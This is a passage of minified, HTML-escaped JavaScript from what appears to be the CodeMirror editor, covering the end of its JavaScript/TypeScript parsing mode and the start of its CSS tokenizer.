function arrowBodyNoComma(type){findFatArrow(cx.stream,cx.state);return pass(type==&quot;{&quot;?statement:expressionNoComma)}
function maybeTarget(noComma){return function(type){if(type==&quot;.&quot;)return cont(noComma?targetNoComma:target);else if(type==&quot;variable&quot;&amp;&amp;isTS)return cont(maybeTypeArgs,noComma?maybeoperatorNoComma:maybeoperatorComma)
else return pass(noComma?expressionNoComma:expression)}}
function target(_,value){if(value==&quot;target&quot;){cx.marked=&quot;keyword&quot;;return cont(maybeoperatorComma)}}
function targetNoComma(_,value){if(value==&quot;target&quot;){cx.marked=&quot;keyword&quot;;return cont(maybeoperatorNoComma)}}
function maybelabel(type){if(type==&quot;:&quot;)return cont(poplex,statement);return pass(maybeoperatorComma,expect(&quot;;&quot;),poplex)}
function property(type){if(type==&quot;variable&quot;){cx.marked=&quot;property&quot;;return cont()}}
function objprop(type,value){if(type==&quot;async&quot;){cx.marked=&quot;property&quot;;return cont(objprop)}else if(type==&quot;variable&quot;||cx.style==&quot;keyword&quot;){cx.marked=&quot;property&quot;;if(value==&quot;get&quot;||value==&quot;set&quot;)return cont(getterSetter);var m
if(isTS&amp;&amp;cx.state.fatArrowAt==cx.stream.start&amp;&amp;(m=cx.stream.match(/^\s*:\s*/,!1)))
cx.state.fatArrowAt=cx.stream.pos+m[0].length
return cont(afterprop)}else if(type==&quot;number&quot;||type==&quot;string&quot;){cx.marked=jsonldMode?&quot;property&quot;:(cx.style+&quot; property&quot;);return cont(afterprop)}else if(type==&quot;jsonld-keyword&quot;){return cont(afterprop)}else if(isTS&amp;&amp;isModifier(value)){cx.marked=&quot;keyword&quot;
return cont(objprop)}else if(type==&quot;[&quot;){return cont(expression,maybetype,expect(&quot;]&quot;),afterprop)}else if(type==&quot;spread&quot;){return cont(expressionNoComma,afterprop)}else if(value==&quot;*&quot;){cx.marked=&quot;keyword&quot;;return cont(objprop)}else if(type==&quot;:&quot;){return pass(afterprop)}}
function getterSetter(type){if(type!=&quot;variable&quot;)return pass(afterprop);cx.marked=&quot;property&quot;;return cont(functiondef)}
function afterprop(type){if(type==&quot;:&quot;)return cont(expressionNoComma);if(type==&quot;(&quot;)return pass(functiondef)}
function commasep(what,end,sep){function proceed(type,value){if(sep?sep.indexOf(type)&gt;-1:type==&quot;,&quot;){var lex=cx.state.lexical;if(lex.info==&quot;call&quot;)lex.pos=(lex.pos||0)+1;return cont(function(type,value){if(type==end||value==end)return pass()
return pass(what)},proceed)}
if(type==end||value==end)return cont();if(sep&amp;&amp;sep.indexOf(&quot;;&quot;)&gt;-1)return pass(what)
return cont(expect(end))}
return function(type,value){if(type==end||value==end)return cont();return pass(what,proceed)}}
function contCommasep(what,end,info){for(var i=3;i&lt;arguments.length;i++)
cx.cc.push(arguments[i]);return cont(pushlex(end,info),commasep(what,end),poplex)}
function block(type){if(type==&quot;}&quot;)return cont();return pass(statement,block)}
function maybetype(type,value){if(isTS){if(type==&quot;:&quot;)return cont(typeexpr);if(value==&quot;?&quot;)return cont(maybetype)}}
function maybetypeOrIn(type,value){if(isTS&amp;&amp;(type==&quot;:&quot;||value==&quot;in&quot;))return cont(typeexpr)}
function mayberettype(type){if(isTS&amp;&amp;type==&quot;:&quot;){if(cx.stream.match(/^\s*\w+\s+is\b/,!1))return cont(expression,isKW,typeexpr)
else return cont(typeexpr)}}
function isKW(_,value){if(value==&quot;is&quot;){cx.marked=&quot;keyword&quot;
return cont()}}
function typeexpr(type,value){if(value==&quot;keyof&quot;||value==&quot;typeof&quot;||value==&quot;infer&quot;){cx.marked=&quot;keyword&quot;
return cont(value==&quot;typeof&quot;?expressionNoComma:typeexpr)}
if(type==&quot;variable&quot;||value==&quot;void&quot;){cx.marked=&quot;type&quot;
return cont(afterType)}
if(value==&quot;|&quot;||value==&quot;&amp;&quot;)return cont(typeexpr)
if(type==&quot;string&quot;||type==&quot;number&quot;||type==&quot;atom&quot;)return cont(afterType);if(type==&quot;[&quot;)return cont(pushlex(&quot;]&quot;),commasep(typeexpr,&quot;]&quot;,&quot;,&quot;),poplex,afterType)
if(type==&quot;{&quot;)return cont(pushlex(&quot;}&quot;),commasep(typeprop,&quot;}&quot;,&quot;,;&quot;),poplex,afterType)
if(type==&quot;(&quot;)return cont(commasep(typearg,&quot;)&quot;),maybeReturnType,afterType)
if(type==&quot;&lt;&quot;)return cont(commasep(typeexpr,&quot;&gt;&quot;),typeexpr)}
function maybeReturnType(type){if(type==&quot;=&gt;&quot;)return cont(typeexpr)}
function typeprop(type,value){if(type==&quot;variable&quot;||cx.style==&quot;keyword&quot;){cx.marked=&quot;property&quot;
return cont(typeprop)}else if(value==&quot;?&quot;||type==&quot;number&quot;||type==&quot;string&quot;){return cont(typeprop)}else if(type==&quot;:&quot;){return cont(typeexpr)}else if(type==&quot;[&quot;){return cont(expect(&quot;variable&quot;),maybetypeOrIn,expect(&quot;]&quot;),typeprop)}else if(type==&quot;(&quot;){return pass(functiondecl,typeprop)}}
function typearg(type,value){if(type==&quot;variable&quot;&amp;&amp;cx.stream.match(/^\s*[?:]/,!1)||value==&quot;?&quot;)return cont(typearg)
if(type==&quot;:&quot;)return cont(typeexpr)
if(type==&quot;spread&quot;)return cont(typearg)
return pass(typeexpr)}
function afterType(type,value){if(value==&quot;&lt;&quot;)return cont(pushlex(&quot;&gt;&quot;),commasep(typeexpr,&quot;&gt;&quot;),poplex,afterType)
if(value==&quot;|&quot;||type==&quot;.&quot;||value==&quot;&amp;&quot;)return cont(typeexpr)
if(type==&quot;[&quot;)return cont(typeexpr,expect(&quot;]&quot;),afterType)
if(value==&quot;extends&quot;||value==&quot;implements&quot;){cx.marked=&quot;keyword&quot;;return cont(typeexpr)}
if(value==&quot;?&quot;)return cont(typeexpr,expect(&quot;:&quot;),typeexpr)}
function maybeTypeArgs(_,value){if(value==&quot;&lt;&quot;)return cont(pushlex(&quot;&gt;&quot;),commasep(typeexpr,&quot;&gt;&quot;),poplex,afterType)}
function typeparam(){return pass(typeexpr,maybeTypeDefault)}
function maybeTypeDefault(_,value){if(value==&quot;=&quot;)return cont(typeexpr)}
function vardef(_,value){if(value==&quot;enum&quot;){cx.marked=&quot;keyword&quot;;return cont(enumdef)}
return pass(pattern,maybetype,maybeAssign,vardefCont)}
function pattern(type,value){if(isTS&amp;&amp;isModifier(value)){cx.marked=&quot;keyword&quot;;return cont(pattern)}
if(type==&quot;variable&quot;){register(value);return cont()}
if(type==&quot;spread&quot;)return cont(pattern);if(type==&quot;[&quot;)return contCommasep(eltpattern,&quot;]&quot;);if(type==&quot;{&quot;)return contCommasep(proppattern,&quot;}&quot;)}
function proppattern(type,value){if(type==&quot;variable&quot;&amp;&amp;!cx.stream.match(/^\s*:/,!1)){register(value);return cont(maybeAssign)}
if(type==&quot;variable&quot;)cx.marked=&quot;property&quot;;if(type==&quot;spread&quot;)return cont(pattern);if(type==&quot;}&quot;)return pass();if(type==&quot;[&quot;)return cont(expression,expect(&#039;]&#039;),expect(&#039;:&#039;),proppattern);return cont(expect(&quot;:&quot;),pattern,maybeAssign)}
function eltpattern(){return pass(pattern,maybeAssign)}
function maybeAssign(_type,value){if(value==&quot;=&quot;)return cont(expressionNoComma)}
function vardefCont(type){if(type==&quot;,&quot;)return cont(vardef)}
function maybeelse(type,value){if(type==&quot;keyword b&quot;&amp;&amp;value==&quot;else&quot;)return cont(pushlex(&quot;form&quot;,&quot;else&quot;),statement,poplex)}
function forspec(type,value){if(value==&quot;await&quot;)return cont(forspec);if(type==&quot;(&quot;)return cont(pushlex(&quot;)&quot;),forspec1,poplex)}
function forspec1(type){if(type==&quot;var&quot;)return cont(vardef,forspec2);if(type==&quot;variable&quot;)return cont(forspec2);return pass(forspec2)}
function forspec2(type,value){if(type==&quot;)&quot;)return cont()
if(type==&quot;;&quot;)return cont(forspec2)
if(value==&quot;in&quot;||value==&quot;of&quot;){cx.marked=&quot;keyword&quot;;return cont(expression,forspec2)}
return pass(expression,forspec2)}
function functiondef(type,value){if(value==&quot;*&quot;){cx.marked=&quot;keyword&quot;;return cont(functiondef)}
if(type==&quot;variable&quot;){register(value);return cont(functiondef)}
if(type==&quot;(&quot;)return cont(pushcontext,pushlex(&quot;)&quot;),commasep(funarg,&quot;)&quot;),poplex,mayberettype,statement,popcontext);if(isTS&amp;&amp;value==&quot;&lt;&quot;)return cont(pushlex(&quot;&gt;&quot;),commasep(typeparam,&quot;&gt;&quot;),poplex,functiondef)}
function functiondecl(type,value){if(value==&quot;*&quot;){cx.marked=&quot;keyword&quot;;return cont(functiondecl)}
if(type==&quot;variable&quot;){register(value);return cont(functiondecl)}
if(type==&quot;(&quot;)return cont(pushcontext,pushlex(&quot;)&quot;),commasep(funarg,&quot;)&quot;),poplex,mayberettype,popcontext);if(isTS&amp;&amp;value==&quot;&lt;&quot;)return cont(pushlex(&quot;&gt;&quot;),commasep(typeparam,&quot;&gt;&quot;),poplex,functiondecl)}
function typename(type,value){if(type==&quot;keyword&quot;||type==&quot;variable&quot;){cx.marked=&quot;type&quot;
return cont(typename)}else if(value==&quot;&lt;&quot;){return cont(pushlex(&quot;&gt;&quot;),commasep(typeparam,&quot;&gt;&quot;),poplex)}}
function funarg(type,value){if(value==&quot;@&quot;)cont(expression,funarg)
if(type==&quot;spread&quot;)return cont(funarg);if(isTS&amp;&amp;isModifier(value)){cx.marked=&quot;keyword&quot;;return cont(funarg)}
if(isTS&amp;&amp;type==&quot;this&quot;)return cont(maybetype,maybeAssign)
return pass(pattern,maybetype,maybeAssign)}
function classExpression(type,value){if(type==&quot;variable&quot;)return className(type,value);return classNameAfter(type,value)}
function className(type,value){if(type==&quot;variable&quot;){register(value);return cont(classNameAfter)}}
function classNameAfter(type,value){if(value==&quot;&lt;&quot;)return cont(pushlex(&quot;&gt;&quot;),commasep(typeparam,&quot;&gt;&quot;),poplex,classNameAfter)
if(value==&quot;extends&quot;||value==&quot;implements&quot;||(isTS&amp;&amp;type==&quot;,&quot;)){if(value==&quot;implements&quot;)cx.marked=&quot;keyword&quot;;return cont(isTS?typeexpr:expression,classNameAfter)}
if(type==&quot;{&quot;)return cont(pushlex(&quot;}&quot;),classBody,poplex)}
function classBody(type,value){if(type==&quot;async&quot;||(type==&quot;variable&quot;&amp;&amp;(value==&quot;static&quot;||value==&quot;get&quot;||value==&quot;set&quot;||(isTS&amp;&amp;isModifier(value)))&amp;&amp;cx.stream.match(/^\s+[\w$\xa1-\uffff]/,!1))){cx.marked=&quot;keyword&quot;;return cont(classBody)}
if(type==&quot;variable&quot;||cx.style==&quot;keyword&quot;){cx.marked=&quot;property&quot;;return cont(classfield,classBody)}
if(type==&quot;number&quot;||type==&quot;string&quot;)return cont(classfield,classBody);if(type==&quot;[&quot;)
return cont(expression,maybetype,expect(&quot;]&quot;),classfield,classBody)
if(value==&quot;*&quot;){cx.marked=&quot;keyword&quot;;return cont(classBody)}
if(isTS&amp;&amp;type==&quot;(&quot;)return pass(functiondecl,classBody)
if(type==&quot;;&quot;||type==&quot;,&quot;)return cont(classBody);if(type==&quot;}&quot;)return cont();if(value==&quot;@&quot;)return cont(expression,classBody)}
function classfield(type,value){if(value==&quot;?&quot;)return cont(classfield)
if(type==&quot;:&quot;)return cont(typeexpr,maybeAssign)
if(value==&quot;=&quot;)return cont(expressionNoComma)
var context=cx.state.lexical.prev,isInterface=context&amp;&amp;context.info==&quot;interface&quot;
return pass(isInterface?functiondecl:functiondef)}
function afterExport(type,value){if(value==&quot;*&quot;){cx.marked=&quot;keyword&quot;;return cont(maybeFrom,expect(&quot;;&quot;))}
if(value==&quot;default&quot;){cx.marked=&quot;keyword&quot;;return cont(expression,expect(&quot;;&quot;))}
if(type==&quot;{&quot;)return cont(commasep(exportField,&quot;}&quot;),maybeFrom,expect(&quot;;&quot;));return pass(statement)}
function exportField(type,value){if(value==&quot;as&quot;){cx.marked=&quot;keyword&quot;;return cont(expect(&quot;variable&quot;))}
if(type==&quot;variable&quot;)return pass(expressionNoComma,exportField)}
function afterImport(type){if(type==&quot;string&quot;)return cont();if(type==&quot;(&quot;)return pass(expression);return pass(importSpec,maybeMoreImports,maybeFrom)}
function importSpec(type,value){if(type==&quot;{&quot;)return contCommasep(importSpec,&quot;}&quot;);if(type==&quot;variable&quot;)register(value);if(value==&quot;*&quot;)cx.marked=&quot;keyword&quot;;return cont(maybeAs)}
function maybeMoreImports(type){if(type==&quot;,&quot;)return cont(importSpec,maybeMoreImports)}
function maybeAs(_type,value){if(value==&quot;as&quot;){cx.marked=&quot;keyword&quot;;return cont(importSpec)}}
function maybeFrom(_type,value){if(value==&quot;from&quot;){cx.marked=&quot;keyword&quot;;return cont(expression)}}
function arrayLiteral(type){if(type==&quot;]&quot;)return cont();return pass(commasep(expressionNoComma,&quot;]&quot;))}
function enumdef(){return pass(pushlex(&quot;form&quot;),pattern,expect(&quot;{&quot;),pushlex(&quot;}&quot;),commasep(enummember,&quot;}&quot;),poplex,poplex)}
function enummember(){return pass(pattern,maybeAssign)}
function isContinuedStatement(state,textAfter){return state.lastType==&quot;operator&quot;||state.lastType==&quot;,&quot;||isOperatorChar.test(textAfter.charAt(0))||/[,.]/.test(textAfter.charAt(0))}
function expressionAllowed(stream,state,backUp){return state.tokenize==tokenBase&amp;&amp;/^(?:operator|sof|keyword [bcd]|case|new|export|default|spread|[\[{}\(,;:]|=&gt;)$/.test(state.lastType)||(state.lastType==&quot;quasi&quot;&amp;&amp;/\{\s*$/.test(stream.string.slice(0,stream.pos-(backUp||0))))}
return{startState:function(basecolumn){var state={tokenize:tokenBase,lastType:&quot;sof&quot;,cc:[],lexical:new JSLexical((basecolumn||0)-indentUnit,0,&quot;block&quot;,!1),localVars:parserConfig.localVars,context:parserConfig.localVars&amp;&amp;new Context(null,null,!1),indented:basecolumn||0};if(parserConfig.globalVars&amp;&amp;typeof parserConfig.globalVars==&quot;object&quot;)
state.globalVars=parserConfig.globalVars;return state},token:function(stream,state){if(stream.sol()){if(!state.lexical.hasOwnProperty(&quot;align&quot;))
state.lexical.align=!1;state.indented=stream.indentation();findFatArrow(stream,state)}
if(state.tokenize!=tokenComment&amp;&amp;stream.eatSpace())return null;var style=state.tokenize(stream,state);if(type==&quot;comment&quot;)return style;state.lastType=type==&quot;operator&quot;&amp;&amp;(content==&quot;++&quot;||content==&quot;--&quot;)?&quot;incdec&quot;:type;return parseJS(state,style,type,content,stream)},indent:function(state,textAfter){if(state.tokenize==tokenComment)return CodeMirror.Pass;if(state.tokenize!=tokenBase)return 0;var firstChar=textAfter&amp;&amp;textAfter.charAt(0),lexical=state.lexical,top
if(!/^\s*else\b/.test(textAfter))for(var i=state.cc.length-1;i&gt;=0;--i){var c=state.cc[i];if(c==poplex)lexical=lexical.prev;else if(c!=maybeelse)break}
while((lexical.type==&quot;stat&quot;||lexical.type==&quot;form&quot;)&amp;&amp;(firstChar==&quot;}&quot;||((top=state.cc[state.cc.length-1])&amp;&amp;(top==maybeoperatorComma||top==maybeoperatorNoComma)&amp;&amp;!/^[,\.=+\-*:?[\(]/.test(textAfter))))
lexical=lexical.prev;if(statementIndent&amp;&amp;lexical.type==&quot;)&quot;&amp;&amp;lexical.prev.type==&quot;stat&quot;)
lexical=lexical.prev;var type=lexical.type,closing=firstChar==type;if(type==&quot;vardef&quot;)return lexical.indented+(state.lastType==&quot;operator&quot;||state.lastType==&quot;,&quot;?lexical.info.length+1:0);else if(type==&quot;form&quot;&amp;&amp;firstChar==&quot;{&quot;)return lexical.indented;else if(type==&quot;form&quot;)return lexical.indented+indentUnit;else if(type==&quot;stat&quot;)
return lexical.indented+(isContinuedStatement(state,textAfter)?statementIndent||indentUnit:0);else if(lexical.info==&quot;switch&quot;&amp;&amp;!closing&amp;&amp;parserConfig.doubleIndentSwitch!=!1)
return lexical.indented+(/^(?:case|default)\b/.test(textAfter)?indentUnit:2*indentUnit);else if(lexical.align)return lexical.column+(closing?0:1);else return lexical.indented+(closing?0:indentUnit)},electricInput:/^\s*(?:case .*?:|default:|\{|\})$/,blockCommentStart:jsonMode?null:&quot;/*&quot;,blockCommentEnd:jsonMode?null:&quot;*/&quot;,blockCommentContinue:jsonMode?null:&quot; * &quot;,lineComment:jsonMode?null:&quot;//&quot;,fold:&quot;brace&quot;,closeBrackets:&quot;()[]{}&#039;&#039;\&quot;\&quot;``&quot;,helperType:jsonMode?&quot;json&quot;:&quot;javascript&quot;,jsonldMode:jsonldMode,jsonMode:jsonMode,expressionAllowed:expressionAllowed,skipExpression:function(state){var top=state.cc[state.cc.length-1]
if(top==expression||top==expressionNoComma)state.cc.pop()}}});CodeMirror.registerHelper(&quot;wordChars&quot;,&quot;javascript&quot;,/[\w$]/);CodeMirror.defineMIME(&quot;text/javascript&quot;,&quot;javascript&quot;);CodeMirror.defineMIME(&quot;text/ecmascript&quot;,&quot;javascript&quot;);CodeMirror.defineMIME(&quot;application/javascript&quot;,&quot;javascript&quot;);CodeMirror.defineMIME(&quot;application/x-javascript&quot;,&quot;javascript&quot;);CodeMirror.defineMIME(&quot;application/ecmascript&quot;,&quot;javascript&quot;);CodeMirror.defineMIME(&quot;application/json&quot;,{name:&quot;javascript&quot;,json:!0});CodeMirror.defineMIME(&quot;application/x-json&quot;,{name:&quot;javascript&quot;,json:!0});CodeMirror.defineMIME(&quot;application/ld+json&quot;,{name:&quot;javascript&quot;,jsonld:!0});CodeMirror.defineMIME(&quot;text/typescript&quot;,{name:&quot;javascript&quot;,typescript:!0});CodeMirror.defineMIME(&quot;application/typescript&quot;,{name:&quot;javascript&quot;,typescript:!0})});(function(mod){if(typeof exports==&quot;object&quot;&amp;&amp;typeof module==&quot;object&quot;)
mod(require(&quot;../../lib/codemirror&quot;));else if(typeof define==&quot;function&quot;&amp;&amp;define.amd)
define([&quot;../../lib/codemirror&quot;],mod);else mod(CodeMirror)})(function(CodeMirror){&quot;use strict&quot;;CodeMirror.defineMode(&quot;css&quot;,function(config,parserConfig){var inline=parserConfig.inline
if(!parserConfig.propertyKeywords)parserConfig=CodeMirror.resolveMode(&quot;text/css&quot;);var indentUnit=config.indentUnit,tokenHooks=parserConfig.tokenHooks,documentTypes=parserConfig.documentTypes||{},mediaTypes=parserConfig.mediaTypes||{},mediaFeatures=parserConfig.mediaFeatures||{},mediaValueKeywords=parserConfig.mediaValueKeywords||{},propertyKeywords=parserConfig.propertyKeywords||{},nonStandardPropertyKeywords=parserConfig.nonStandardPropertyKeywords||{},fontProperties=parserConfig.fontProperties||{},counterDescriptors=parserConfig.counterDescriptors||{},colorKeywords=parserConfig.colorKeywords||{},valueKeywords=parserConfig.valueKeywords||{},allowNested=parserConfig.allowNested,lineComment=parserConfig.lineComment,supportsAtComponent=parserConfig.supportsAtComponent===!0;var type,override;function ret(style,tp){type=tp;return style}
function tokenBase(stream,state){var ch=stream.next();if(tokenHooks[ch]){var result=tokenHooks[ch](stream,state);if(result!==!1)return result}
if(ch==&quot;@&quot;){stream.eatWhile(/[\w\\\-]/);return ret(&quot;def&quot;,stream.current())}else if(ch==&quot;=&quot;||(ch==&quot;~&quot;||ch==&quot;|&quot;)&amp;&amp;stream.eat(&quot;=&quot;)){return ret(null,&quot;compare&quot;)}else if(ch==&quot;\&quot;&quot;||ch==&quot;&#039;&quot;){state.tokenize=tokenString(ch);return state.tokenize(stream,state)}else if(ch==&quot;#&quot;){stream.eatWhile(/[\w\\\-]/);return ret(&quot;atom&quot;,&quot;hash&quot;)}else if(ch==&quot;!&quot;){stream.match(/^\s*\w*/);return ret(&quot;keyword&quot;,&quot;important&quot;)}else if(/\d/.test(ch)||ch==&quot;.&quot;&amp;&amp;stream.eat(/\d/)){stream.eatWhile(/[\w.%]/);return ret(&quot;number&quot;,&quot;unit&quot;)}else if(ch===&quot;-&quot;){if(/[\d.]/.test(stream.peek())){stream.eatWhile(/[\w.%]/);return ret(&quot;number&quot;,&quot;unit&quot;)}else if(stream.match(/^-[\w\\\-]*/)){stream.eatWhile(/[\w\\\-]/);if(stream.match(/^\s*:/,!1))
return ret(&quot;variable-2&quot;,&quot;variable-definition&quot;);return ret(&quot;variable-2&quot;,&quot;variable&quot;)}else if(stream.match(/^\w+-/)){return ret(&quot;meta&quot;,&quot;meta&quot;)}}else if(/[,+&gt;*\/]/.test(ch)){return ret(null,&quot;select-op&quot;)}else if(ch==&quot;.&quot;&amp;&amp;stream.match(/^-?[_a-z][_a-z0-9-]*/i)){return ret(&quot;qualifier&quot;,&quot;qualifier&quot;)}else if(/[:;{}\[\]\(\)]/.test(ch)){return ret(null,ch)}else if(stream.match(/[\w-.]+(?=\()/)){if(/^(url(-prefix)?|domain|regexp)$/.test(stream.current().toLowerCase())){state.tokenize=tokenParenthesized}
return ret(&quot;variable callee&quot;,&quot;variable&quot;)}else if(/[\w\\\-]/.test(ch)){stream.eatWhile(/[\w\\\-]/);return ret(&quot;property&quot;,&quot;word&quot;)}else{return ret(null,null)}}
function tokenString(quote){return function(stream,state){var escaped=!1,ch;while((ch=stream.next())!=null){if(ch==quote&amp;&amp;!escaped){if(quote==&quot;)&quot;)stream.backUp(1);break}
escaped=!escaped&amp;&amp;ch==&quot;\\&quot;}
if(ch==quote||!escaped&amp;&amp;quote!=&quot;)&quot;)state.tokenize=null;return ret(&quot;string&quot;,&quot;string&quot;)}}
function tokenParenthesized(stream,state){stream.next();if(!stream.match(/\s*[\&quot;\&#039;)]/,!1))
state.tokenize=tokenString(&quot;)&quot;);else state.tokenize=null;return ret(null,&quot;(&quot;)}
function Context(type,indent,prev){this.type=type;this.indent=indent;this.prev=prev}
function pushContext(state,stream,type,indent){state.context=new Context(type,stream.indentation()+(indent===!1?0:indentUnit),state.context);return type}
function popContext(state){if(state.context.prev)
state.context=state.context.prev;return state.context.type}
function pass(type,stream,state){return states[state.context.type](type,stream,state)}
function popAndPass(type,stream,state,n){for(var i=n||1;i&gt;0;i--)
state.context=state.context.prev;return pass(type,stream,state)}
function wordAsValue(stream){var word=stream.current().toLowerCase();if(valueKeywords.hasOwnProperty(word))
override=&quot;atom&quot;;else if(colorKeywords.hasOwnProperty(word))
override=&quot;keyword&quot;;else override=&quot;variable&quot;}
var states={};states.top=function(type,stream,state){if(type==&quot;{&quot;){return pushContext(state,stream,&quot;block&quot;)}else if(type==&quot;}&quot;&amp;&amp;state.context.prev){return popContext(state)}else if(supportsAtComponent&amp;&amp;/@component/i.test(type)){return pushContext(state,stream,&quot;atComponentBlock&quot;)}else if(/^@(-moz-)?document$/i.test(type)){return pushContext(state,stream,&quot;documentTypes&quot;)}else if(/^@(media|supports|(-moz-)?document|import)$/i.test(type)){return pushContext(state,stream,&quot;atBlock&quot;)}else if(/^@(font-face|counter-style)/i.test(type)){state.stateArg=type;return&quot;restricted_atBlock_before&quot;}else if(/^@(-(moz|ms|o|webkit)-)?keyframes$/i.test(type)){return&quot;keyframes&quot;}else if(type&amp;&amp;type.charAt(0)==&quot;@&quot;){return pushContext(state,stream,&quot;at&quot;)}else if(type==&quot;hash&quot;){override=&quot;builtin&quot;}else if(type==&quot;word&quot;){override=&quot;tag&quot;}else if(type==&quot;variable-definition&quot;){return&quot;maybeprop&quot;}else if(type==&quot;interpolation&quot;){return pushContext(state,stream,&quot;interpolation&quot;)}else if(type==&quot;:&quot;){return&quot;pseudo&quot;}else if(allowNested&amp;&amp;type==&quot;(&quot;){return pushContext(state,stream,&quot;parens&quot;)}
return state.context.type};states.block=function(type,stream,state){if(type==&quot;word&quot;){var word=stream.current().toLowerCase();if(propertyKeywords.hasOwnProperty(word)){override=&quot;property&quot;;return&quot;maybeprop&quot;}else if(nonStandardPropertyKeywords.hasOwnProperty(word)){override=&quot;string-2&quot;;return&quot;maybeprop&quot;}else if(allowNested){override=stream.match(/^\s*:(?:\s|$)/,!1)?&quot;property&quot;:&quot;tag&quot;;return&quot;block&quot;}else{override+=&quot; error&quot;;return&quot;maybeprop&quot;}}else if(type==&quot;meta&quot;){return&quot;block&quot;}else if(!allowNested&amp;&amp;(type==&quot;hash&quot;||type==&quot;qualifier&quot;)){override=&quot;error&quot;;return&quot;block&quot;}else{return states.top(type,stream,state)}};states.maybeprop=function(type,stream,state){if(type==&quot;:&quot;)return pushContext(state,stream,&quot;prop&quot;);return pass(type,stream,state)};states.prop=function(type,stream,state){if(type==&quot;;&quot;)return popContext(state);if(type==&quot;{&quot;&amp;&amp;allowNested)return pushContext(state,stream,&quot;propBlock&quot;);if(type==&quot;}&quot;||type==&quot;{&quot;)return popAndPass(type,stream,state);if(type==&quot;(&quot;)return pushContext(state,stream,&quot;parens&quot;);if(type==&quot;hash&quot;&amp;&amp;!/^#([0-9a-fA-f]{3,4}|[0-9a-fA-f]{6}|[0-9a-fA-f]{8})$/.test(stream.current())){override+=&quot; error&quot;}else if(type==&quot;word&quot;){wordAsValue(stream)}else if(type==&quot;interpolation&quot;){return pushContext(state,stream,&quot;interpolation&quot;)}
return&quot;prop&quot;};states.propBlock=function(type,_stream,state){if(type==&quot;}&quot;)return popContext(state);if(type==&quot;word&quot;){override=&quot;property&quot;;return&quot;maybeprop&quot;}
return state.context.type};states.parens=function(type,stream,state){if(type==&quot;{&quot;||type==&quot;}&quot;)return popAndPass(type,stream,state);if(type==&quot;)&quot;)return popContext(state);if(type==&quot;(&quot;)return pushContext(state,stream,&quot;parens&quot;);if(type==&quot;interpolation&quot;)return pushContext(state,stream,&quot;interpolation&quot;);if(type==&quot;word&quot;)wordAsValue(stream);return&quot;parens&quot;};states.pseudo=function(type,stream,state){if(type==&quot;meta&quot;)return&quot;pseudo&quot;;if(type==&quot;word&quot;){override=&quot;variable-3&quot;;return state.context.type}
return pass(type,stream,state)};states.documentTypes=function(type,stream,state){if(type==&quot;word&quot;&amp;&amp;documentTypes.hasOwnProperty(stream.current())){override=&quot;tag&quot;;return state.context.type}else{return states.atBlock(type,stream,state)}};states.atBlock=function(type,stream,state){if(type==&quot;(&quot;)return pushContext(state,stream,&quot;atBlock_parens&quot;);if(type==&quot;}&quot;||type==&quot;;&quot;)return popAndPass(type,stream,state);if(type==&quot;{&quot;)return popContext(state)&amp;&amp;pushContext(state,stream,allowNested?&quot;block&quot;:&quot;top&quot;);if(type==&quot;interpolation&quot;)return pushContext(state,stream,&quot;interpolation&quot;);if(type==&quot;word&quot;){var word=stream.current().toLowerCase();if(word==&quot;only&quot;||word==&quot;not&quot;||word==&quot;and&quot;||word==&quot;or&quot;)
override=&quot;keyword&quot;;else if(mediaTypes.hasOwnProperty(word))
override=&quot;attribute&quot;;else if(mediaFeatures.hasOwnProperty(word))
override=&quot;property&quot;;else if(mediaValueKeywords.hasOwnProperty(word))
override=&quot;keyword&quot;;else if(propertyKeywords.hasOwnProperty(word))
override=&quot;property&quot;;else if(nonStandardPropertyKeywords.hasOwnProperty(word))
override=&quot;string-2&quot;;else if(valueKeywords.hasOwnProperty(word))
override=&quot;atom&quot;;else if(colorKeywords.hasOwnProperty(word))
override=&quot;keyword&quot;;else override=&quot;error&quot;}
return state.context.type};states.atComponentBlock=function(type,stream,state){if(type==&quot;}&quot;)
return popAndPass(type,stream,state);if(type==&quot;{&quot;)
return popContext(state)&amp;&amp;pushContext(state,stream,allowNested?&quot;block&quot;:&quot;top&quot;,!1);if(type==&quot;word&quot;)
override=&quot;error&quot;;return state.context.type};states.atBlock_parens=function(type,stream,state){if(type==&quot;)&quot;)return popContext(state);if(type==&quot;{&quot;||type==&quot;}&quot;)return popAndPass(type,stream,state,2);return states.atBlock(type,stream,state)};states.restricted_atBlock_before=function(type,stream,state){if(type==&quot;{&quot;)
return pushContext(state,stream,&quot;restricted_atBlock&quot;);if(type==&quot;word&quot;&amp;&amp;state.stateArg==&quot;@counter-style&quot;){override=&quot;variable&quot;;return&quot;restricted_atBlock_before&quot;}
return pass(type,stream,state)};states.restricted_atBlock=function(type,stream,state){if(type==&quot;}&quot;){state.stateArg=null;return popContext(state)}
if(type==&quot;word&quot;){if((state.stateArg==&quot;@font-face&quot;&amp;&amp;!fontProperties.hasOwnProperty(stream.current().toLowerCase()))||(state.stateArg==&quot;@counter-style&quot;&amp;&amp;!counterDescriptors.hasOwnProperty(stream.current().toLowerCase())))
override=&quot;error&quot;;else override=&quot;property&quot;;return&quot;maybeprop&quot;}
return&quot;restricted_atBlock&quot;};states.keyframes=function(type,stream,state){if(type==&quot;word&quot;){override=&quot;variable&quot;;return&quot;keyframes&quot;}
if(type==&quot;{&quot;)return pushContext(state,stream,&quot;top&quot;);return pass(type,stream,state)};states.at=function(type,stream,state){if(type==&quot;;&quot;)return popContext(state);if(type==&quot;{&quot;||type==&quot;}&quot;)return popAndPass(type,stream,state);if(type==&quot;word&quot;)override=&quot;tag&quot;;else if(type==&quot;hash&quot;)override=&quot;builtin&quot;;return&quot;at&quot;};states.interpolation=function(type,stream,state){if(type==&quot;}&quot;)return popContext(state);if(type==&quot;{&quot;||type==&quot;;&quot;)return popAndPass(type,stream,state);if(type==&quot;word&quot;)override=&quot;variable&quot;;else if(type!=&quot;variable&quot;&amp;&amp;type!=&quot;(&quot;&amp;&amp;type!=&quot;)&quot;)override=&quot;error&quot;;return&quot;interpolation&quot;};return{startState:function(base){return{tokenize:null,state:inline?&quot;block&quot;:&quot;top&quot;,stateArg:null,context:new Context(inline?&quot;block&quot;:&quot;top&quot;,base||0,null)}},token:function(stream,state){if(!state.tokenize&amp;&amp;stream.eatSpace())return null;var style=(state.tokenize||tokenBase)(stream,state);if(style&amp;&amp;typeof style==&quot;object&quot;){type=style[1];style=style[0]}
override=style;if(type!=&quot;comment&quot;)
